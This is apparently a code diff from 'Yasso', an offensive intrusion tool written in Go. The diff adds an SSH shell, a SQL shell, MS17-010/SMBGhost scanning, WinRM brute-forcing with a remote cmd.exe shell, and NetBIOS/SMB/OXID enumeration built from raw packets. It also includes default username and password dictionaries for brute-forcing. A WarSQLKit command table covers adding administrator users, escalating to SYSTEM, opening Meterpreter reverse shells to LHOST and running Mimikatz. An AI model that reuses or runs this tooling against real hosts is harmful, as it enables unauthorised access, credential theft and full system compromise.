modes := ssh.TerminalModes{
ssh.ECHO: 1,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
ssh.VSTATUS: 1,
}
fd := int(os.Stdin.Fd())
oldState, err := terminal.MakeRaw(fd)
if err != nil {
Println(fmt.Sprintf("terminal failed %v",err))
}
defer terminal.Restore(fd,oldState)
w,h ,err := terminal.GetSize(fd)
if err = session.RequestPty("xterm-256color",h,w,modes);err != nil {
Println(fmt.Sprintf("Session Request new xterm failed %v",err))
return
}
if err = session.Shell(); err != nil {
Println(fmt.Sprintf("Session start shell failed %v",err))
return
}
if err = session.Wait();err != nil {
Println(fmt.Sprintf("Session wait failed %v",err))
return
}
}

File diff suppressed because one or more lines are too long

BIN
cmd/static/WarSQLKit.dll Normal file

Binary file not shown.

148
cmd/tools.go Normal file
View File

@@ -0,0 +1,148 @@
package cmd
import (
"bufio"
"bytes"
"database/sql"
"fmt"
"github.com/olekukonko/tablewriter"
"golang.org/x/net/proxy"
"log"
"net"
"os"
"strings"
"time"
)
// socks5代理连接功能
func ConnBySOCKS5()(proxy.Dialer,error){
// 解析连接过来的socks5字符串
if strings.ContainsAny(ProxyHost,"@") && strings.Count(ProxyHost,"@") == 1 {
info := strings.Split(ProxyHost,"@")
userpass := strings.Split(info[0],":")
auth := proxy.Auth{User:userpass[0],Password:userpass[1]}
dialer, err := proxy.SOCKS5("tcp",info[1],&auth,proxy.Direct)
return dialer,err
} else {
if strings.ContainsAny(ProxyHost,":") && strings.Count(ProxyHost,":")==1{
dialer,err:= proxy.SOCKS5("tcp",ProxyHost,nil,proxy.Direct)
return dialer,err
}
}
return nil,fmt.Errorf("proxy error")
}
// 返回一个连接
func GetConn(addr string,timeout time.Duration)(net.Conn,error) {
if ProxyHost != "" {
dialer,err := ConnBySOCKS5()
if err != nil {
return nil,err
}
conn, err := dialer.Dial("tcp",addr)
if err != nil {
return nil,err
}
return conn,nil
}else{
return net.DialTimeout("tcp",addr,time.Duration(timeout))
}
}
func SQLExecute(db *sql.DB,q string)(*Results,error){
if q == "" {
return nil, nil
}
rows, err := db.Query(q)
//rows, err := db.Query(q)
if err != nil {
return nil, err
}
columns, err := rows.Columns()
if err != nil {
return nil, err
}
var results [][]string
for rows.Next() {
rs := make([]sql.NullString, len(columns))
rsp := make([]interface{}, len(columns))
for i := range rs {
rsp[i] = &rs[i]
}
if err = rows.Scan(rsp...); err != nil {
break
}
_rs := make([]string, len(columns))
for i := range rs {
_rs[i] = rs[i].String
}
results = append(results, _rs)
}
if closeErr := rows.Close(); closeErr != nil {
return nil, closeErr
}
if err != nil {
return nil, err
}
if err := rows.Err(); err != nil {
return nil, err
}
return &Results{
Columns: columns,
Rows: results,
}, nil
}
type Results struct {
Columns []string
Rows [][]string
}
func (r *Results) String() string {
buf := bytes.NewBufferString("")
table := tablewriter.NewWriter(buf)
table.SetHeader(r.Columns)
table.AppendBulk(r.Rows)
table.Render()
return buf.String()
}
func SQLshell(db *sql.DB,sqltype string){
reader := bufio.NewReader(os.Stdin)
Println(fmt.Sprintf("Welcome to Yasso sql client "))
for {
fmt.Printf("Yasso-%s> ",sqltype)
sqlstr, err := reader.ReadString('\n')
if err != nil {
log.Panic("failed to ReadString ", err)
}
sqlstr = strings.Trim(sqlstr, "\r\n")
sqls := []byte(sqlstr)
if len(sqls) > 6 {
if string(sqls[:6]) == "select" || string(sqls[:4]) == "show" || string(sqls[:4]) == "desc" {
//result set sql
r,err := SQLExecute(db,sqlstr)
if err != nil {
Println(fmt.Sprintf("%v",err))
}
Println(fmt.Sprintf("%v",r))
} else {
//no result set sql
r,err := SQLExecute(db,sqlstr)
if err != nil {
Println(fmt.Sprintf("%v",err))
}
Println(fmt.Sprintf("%v",r))
}
}
if sqlstr == "exit" {
Println("exit sql shell")
break
}
}
}

17
cmd/version.go Normal file
View File

@@ -0,0 +1,17 @@
package cmd
import (
"github.com/spf13/cobra"
)
var versionCmd = &cobra.Command{
Use: "version",
Short: "Print Yasso's version in screen",
Run: func(cmd *cobra.Command, args []string) {
Println(Clearln + "Yasso Version is 0.1.1")
},
}
func init(){
rootCmd.AddCommand(versionCmd)
}

78
cmd/vuln.go Normal file
View File

@@ -0,0 +1,78 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"sync"
)
// smbghost eternalblue
var (
ms17010bool bool
smbGohstbool bool
allbool bool
)
var VulCmd = &cobra.Command{
Use: "vulscan",
Short: "Host Vulnerability Scanning (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
if smbGohstbool == true || ms17010bool == true || allbool == true {
Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips)))
}
VulScan(ips,ms17010bool,allbool,smbGohstbool)
},
}
func init(){
VulCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
VulCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy")
VulCmd.Flags().BoolVar(&smbGohstbool,"gs",false,"scan smbghost")
VulCmd.Flags().BoolVar(&ms17010bool,"ms",false,"scan ms17010")
VulCmd.Flags().BoolVar(&allbool,"all",false,"scan all vuln contains ms17010,smbghost")
rootCmd.AddCommand(VulCmd)
}
func VulScan(ips []string,ms17010bool bool,allbool bool,smbGohstbool bool){
var wg sync.WaitGroup
go func() {
for _,ip := range ips{
tunnel <- ip
}
}()
for i:=0;i<len(ips);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
if ms17010bool == true || allbool == true {
Ms17010Conn(config.HostIn{
Host: ip,
Port: 445,
TimeOut: TimeDuration,
})
}
if smbGohstbool == true || allbool == true{
SmbGhostConn(config.HostIn{
Host: ip,
Port: 445,
TimeOut: TimeDuration,
})
}
wg.Done()
})
}
wg.Wait()
}

116
cmd/winrm.go Normal file
View File

@@ -0,0 +1,116 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/masterzen/winrm"
"github.com/spf13/cobra"
"io"
"net"
"os"
)
var WinRMCmd = &cobra.Command{
Use: "winrm",
Short: "winrm burst and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
WinBurpByUser()
}
},
}
func init(){
WinRMCmd.Flags().StringVar(&ConnHost,"hostname","","Open an interactive SSH at that address(brute param need false)")
WinRMCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
WinRMCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
WinRMCmd.Flags().BoolVar(&WinRMbool,"shell",false,"Get a cmd shell with WinRM")
WinRMCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute system command")
}
func WinBurpByUser(){
if BrutePort == 0 {
BrutePort = 5985
}
var ips []string
var err error
if Hosts != "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm 和 rdp认证相同
Println(Clearln+"[*] Brute Module [winrm]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("winrm",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{
auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] WinRM Auth Failed %v",err))
return
}
if SQLCommand != "" && b == true{
WinRMShell(auth,SQLCommand,false)
}
if WinRMbool == true && b== true {
WinRMShell(auth,"",true)
}
}
}
func WinRMAuth(info config.HostIn,user,pass string)(*winrm.Client,bool,error){
var err error
params := winrm.DefaultParameters
// 设置代理认证
params.Dial = func(network, addr string) (net.Conn, error) {
return GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
}
// 设置输入
endpoint := winrm.NewEndpoint("other-host",5985, false, false, nil, nil, nil, 0)
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
stdout := os.Stdout
res,err := client.Run("echo ISOK > nul", stdout, os.Stderr)
if err != nil {
return nil,false,err
}
if res == 0 && err == nil {
return client,true,nil
}
return nil,false,err
}
func WinRMShell(client *winrm.Client,Command string,shell bool){
if shell == true {
shell, err := client.CreateShell()
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v",err))
return
}
var cmd *winrm.Command
cmd, err = shell.Execute("cmd.exe")
if err != nil {
Println(fmt.Sprintf("[!] create shell failed %v",err))
return
}
go io.Copy(cmd.Stdin, os.Stdin)
go io.Copy(os.Stdout, cmd.Stdout)
go io.Copy(os.Stderr, cmd.Stderr)
cmd.Wait()
shell.Close()
}else{
_, err := client.Run(Command, os.Stdout, os.Stderr)
if err != nil {
Println(fmt.Sprintf("[!] Execute Command failed %v",err))
return
}
}
}

557
cmd/winscan.go Normal file
View File

@@ -0,0 +1,557 @@
package cmd
import (
"bytes"
"fmt"
"github.com/spf13/cobra"
"net"
"strconv"
"strings"
"sync"
"time"
)
var netbiosflag bool
var smbflag bool
var oxidflag bool
var allflag bool
var WinCmd = &cobra.Command{
Use: "winscan",
Short: "netbios、smb、oxid scan",
Run: func(cmd *cobra.Command, args []string) {
var ips []string
if Hosts == "" {
_ = cmd.Help()
return
}
if Hosts != "" {
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
}else{
Println("Yasso scanner need a hosts")
return
}
Println(fmt.Sprintf("[Yasso] will scan %d host",len(ips)))
winscan(ips,allflag)
},
}
func init(){
rootCmd.AddCommand(WinCmd)
WinCmd.Flags().BoolVar(&smbflag,"smb",false,"Set smb flag and use smb scan")
WinCmd.Flags().BoolVar(&netbiosflag,"netbios",false,"Set netbios flag and use netbios scan")
WinCmd.Flags().BoolVar(&oxidflag,"oxid",false,"Set oxid flag and use oxid scan")
WinCmd.Flags().BoolVar(&allflag,"all",true,"Set all flag and use oxid,netbios,smb scan")
WinCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
WinCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set net conn timeout")
WinCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it")
}
func winscan(host []string, allay bool){
if netbiosflag == true {
NbtScan(host)
}else if smbflag == true {
SmbScan(host)
}else if oxidflag == true {
OxidScan(host)
}else if allay == true{
runall(host)
} else{
Println("[*] Your need set netbios、smb、oxid flag")
}
}
var oxidQuery1 = [...]byte{
0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00,
0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00,
0x00, 0x00,
}
var oxidQuery2 = [...]byte{
0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x05, 0x00,
}
func ConncetNbios(ip string, port int) (string, int, error, []string) {
nbname, err := netBios(ip)
if nbname.msg != "" {
return ip, port, nil, []string{nbname.msg}
}
return ip, port, err, nil
}
var smbQuery = [...]byte{
0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06,
0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20,
0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
}
var (
UNIQUE_NAMES = map[string]string{
"\x00": "Workstation Service",
"\x03": "Messenger Service",
"\x06": "RAS Server Service",
"\x1F": "NetDDE Service",
"\x20": "Server Service",
"\x21": "RAS Client Service",
"\xBE": "Network Monitor Agent",
"\xBF": "Network Monitor Application",
"\x1D": "Master Browser",
"\x1B": "Domain Master Browser",
}
GROUP_NAMES = map[string]string{
"\x00": "Domain Name",
"\x1C": "Domain Controllers",
"\x1E": "Browser Service Elections",
}
NetBIOS_ITEM_TYPE = map[string]string{
"\x01\x00": "NetBIOS computer name",
"\x02\x00": "NetBIOS domain name",
"\x03\x00": "DNS computer name",
"\x04\x00": "DNS domain name",
"\x05\x00": "DNS tree name",
"\x07\x00": "Time stamp",
}
)
type NbnsName struct {
unique string
group string
msg string
osversion string
}
func netBios(host string)(nbname NbnsName,err error) {
nbname, err = getNbnsname(host)
var payload0 []byte
if err == nil {
name := netbiosEncode(nbname.unique)
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
payload0 = append(payload0, name...)
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
}
realhost := fmt.Sprintf("%s:%v", host, 139)
conn, err := GetConn(realhost,TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
if len(payload0) > 0 {
_, err1 := conn.Write(payload0)
if err1 != nil {
return
}
_, err1 = readbytes(conn)
if err1 != nil {
return
}
}
payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
_, err = conn.Write(payload1)
if err != nil {
return
}
_, err = readbytes(conn)
if err != nil {
return
}
_, err = conn.Write(payload2)
if err != nil {
return
}
ret, err := readbytes(conn)
if err != nil || len(ret) < 45 {
return
}
num1, err := bytetoint(ret[43:44][0])
if err != nil {
return
}
num2, err := bytetoint(ret[44:45][0])
if err != nil {
return
}
length := num1 + num2*256
if len(ret) < 48+length {
return
}
os_version := ret[47+length:]
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
msg1 := string(tmp1[:len(tmp1)-1])
nbname.osversion = msg1
index1 := strings.Index(msg1, "|")
if index1 > 0 {
nbname.osversion = nbname.osversion[:index1]
}
nbname.msg += "\n\t-------------------------------------------\n\t"
nbname.msg += msg1 + "\n\t"
start := bytes.Index(ret, []byte("NTLMSSP"))
if len(ret) < start+45 {
return
}
num1, err = bytetoint(ret[start+40 : start+41][0])
if err != nil {
return
}
num2, err = bytetoint(ret[start+41 : start+42][0])
if err != nil {
return
}
length = num1 + num2*256
num1, err = bytetoint(ret[start+44 : start+45][0])
if err != nil {
return
}
offset, err := bytetoint(ret[start+44 : start+45][0])
if err != nil || len(ret) < start+offset+length {
return
}
index := start + offset
for index < start+offset+length {
item_type := ret[index : index+2]
num1, err = bytetoint(ret[index+2 : index+3][0])
if err != nil {
return
}
num2, err = bytetoint(ret[index+3 : index+4][0])
if err != nil {
return
}
item_length := num1 + num2*256
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
index += 4 + item_length
if string(item_type) == "\x07\x00" {
//Time stamp, 暂时不想处理
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
} else if string(item_type) == "\x00\x00" {
break
} else {
nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content))
}
}
nbname.msg=strings.TrimSpace(nbname.msg)
return nbname, err
}
func getNbnsname(host string) (nbname NbnsName, err error) {
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
realhost := fmt.Sprintf("%s:%v", host, 137)
conn, err := net.DialTimeout("udp", realhost, TimeDuration)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return
}
err = conn.SetDeadline(time.Now().Add(TimeDuration))
if err != nil {
return
}
_, err = conn.Write(senddata1)
if err != nil {
return
}
text, err := readbytes(conn)
if err != nil {
return
}
if len(text) < 57 {
return nbname, fmt.Errorf("no names available")
}
num, err := bytetoint(text[56:57][0])
if err != nil {
return
}
data := text[57:]
msg:=""
for i := 0; i < num; i++ {
if len(data) < 18*i+16 {
break
}
name := string(data[18*i : 18*i+15])
flag_bit := data[18*i+15 : 18*i+16]
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
name_flags := data[18*i+16 : 18*i+18][0]
if name_flags >= 128 {
nbname.group = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)])
} else {
nbname.unique = strings.Replace(name, " ", "", -1)
msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)])
}
} else {
msg += fmt.Sprintf("%s \n\t", name)
}
}
nbname.msg += msg
nbname.msg=strings.TrimSpace(nbname.msg)
return
}
func bytetoint(text byte) (int, error) {
num1 := fmt.Sprintf("%v", text)
num, err := strconv.Atoi(num1)
return num, err
}
func readbytes(conn net.Conn) (result []byte, err error) {
buf := make([]byte, 4096)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result = append(result, buf[0:count]...)
if count < 4096 {
break
}
}
return result, err
}
func netbiosEncode(name string) (output []byte) {
var names []int
src := fmt.Sprintf("%-16s", name)
for _, a := range src {
char_ord := int(a)
high_4_bits := char_ord >> 4
low_4_bits := char_ord & 0x0f
names = append(names, high_4_bits, low_4_bits)
}
for _, one := range names {
out := one + 0x41
output = append(output, byte(out))
}
return
}
func Connectoxid(ip string,port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
err,oxidres:=oxidIpInfo(conn)
if err!=nil{
return ip,port,err,nil
}else {
return ip,port,nil,oxidres
}
}
func oxidIpInfo(conn net.Conn) (error, []string) {
buf := make([]byte, 256)
_, err := conn.Write(oxidQuery1[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
_, err = conn.Write(oxidQuery2[:])
if err != nil {
return err, nil
}
_, err = conn.Read(buf)
if err != nil {
return err, nil
}
end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00})
if len(buf)<40||end==-1{
return fmt.Errorf(""),nil
}
buf = buf[40:end]
var oxidRes []string
for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; {
res := buf[1:i]
res = bytes.Replace(res, []byte{0x00}, []byte(""), -1)
oxidRes = append(oxidRes, string(res))
buf = buf[i+3:]
i = bytes.Index(buf, []byte{0x00, 0x00, 0x00})
}
return nil, oxidRes
}
func smbinfo(conn net.Conn) (error,[]string) {
buf := make([]byte, 1024)
_, err := conn.Write(smbQuery[:])
if err != nil {
return err,nil
}
_, err = conn.Read(buf)
if err != nil {
return err,nil
}
if len(buf)<81{
return fmt.Errorf(""),nil
}
buf = buf[81:]
end := bytes.Index(buf, []byte{0x00, 0x00, 0x00})
var smbRes []string
domain := buf[:end]
hostname := buf[end:]
domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1)
hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1)
smbRes = append(smbRes, "domain: "+string(domain))
smbRes = append(smbRes, "hostname: "+string(hostname))
return nil,smbRes
}
func Connectsmb(ip string, port int) (string, int, error, []string) {
conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port),TimeDuration)
if err != nil {
return ip, port, err, nil
}
defer conn.Close()
ok,smbRes:=smbinfo(conn)
if ok==nil{
return ip,port,nil,smbRes
}else {
return ip,port,ok,nil
}
}
func OxidScan(host []string){
//result := PortScan(host,[]int{135})
var wg sync.WaitGroup
for _,v := range host{
wg.Add(1)
go func(v string) {
defer wg.Done()
_,_,err,r := Connectoxid(v,135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:]))
}else{
Println(fmt.Sprintf("[OXID] %v",r))
}
}(v)
}
wg.Wait()
}
func SmbScan(host []string){
var wg sync.WaitGroup
for _,v := range host{
wg.Add(1)
go func(v string) {
defer wg.Done()
ip,_,err,r := Connectsmb(v,445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r))
}
}(v)
}
wg.Wait()
}
func NbtScan(host []string){
var wg sync.WaitGroup
for _,v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
_,_,err,r := ConncetNbios(v,139)
if err != nil {
return
}
for _,s := range r {
Println(fmt.Sprintf("[+] %v",v))
Println(fmt.Sprintf("\t%v",s))
}
}(v)
}
wg.Wait()
}
func runall(host []string){
var wg sync.WaitGroup
for _,v := range host {
wg.Add(1)
go func(v string) {
defer wg.Done()
func(v string) {
_,_,err,r := ConncetNbios(v,139)
if err != nil {
return
}
for _,s := range r {
Println(fmt.Sprintf("[+] %v",v))
Println(fmt.Sprintf("\t%v",s))
}
}(v)
func(v string){
ip,_,err,r := Connectsmb(v,445)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[SMB] IP %s %v" ,ip,r))
}
}(v)
func (v string) {
_,_,err,r := Connectoxid(v,135)
if err != nil {
return
}
if len(r) >= 2 {
Println(fmt.Sprintf("[OXID] Hostname %v Network %v",r[0],r[1:]))
}else{
Println(fmt.Sprintf("[OXID] %v",r))
}
}(v)
}(v)
}
wg.Wait()
}

79
config/config.go Normal file
View File

@@ -0,0 +1,79 @@
package config
import (
"time"
)
// about login struct
type HostIn struct {
Host string
Port int
Domain string
TimeOut time.Duration
PublicKey string
}
// 爆破的默认用户名
var Userdict = map[string][]string{
"ftp": {"kali","ftp", "admin", "www", "web", "root", "db", "wwwroot", "data",},
"mysql": {"root", "mysql"},
"mssql": {"sa", "sql"},
"smb": {"administrator", "admin", "guest"},
"rdp": {"administrator", "admin", "guest","Oadmin"},
"postgres": {"postgres", "admin"},
"ssh": {"root", "admin","kali","oracle","www"},
"mongodb": {"root", "admin"},
"redis": {"root"},
}
// 爆破的默认密码
var Passwords = []string{"123456", "admin", "admin123", "root","12312", "pass123", "pass@123", "930517","password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e","kali"}
var WarKitHelp = [][]string{
[]string{"**IF You Want SQL Command Execute**","declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"},
[]string{"EXEC sp_cmdExec 'whoami'","Any Windows command"},
[]string{"EXEC sp_cmdExec 'whoami /RunSystemPriv'","Any Windows command with NT AUTHORITY\\SYSTEM rights"},
[]string{`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`,"Adding users with RottenPotato (Kumpir)"},
[]string{`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`,"Adding user to localgroup with RottenPotato (Kumpir)"},
[]string{`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`,"(Powershell) with RottenPotato (Kumpir)"},
[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`,`x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`},
[]string{`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`,"x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"},
[]string{`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`,"x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"},
[]string{`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`,"x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"},
[]string{`EXEC sp_cmdExec 'sp_Mimikatz'`,`select * from WarSQLKitTemp => Get Mimikatz Log`},
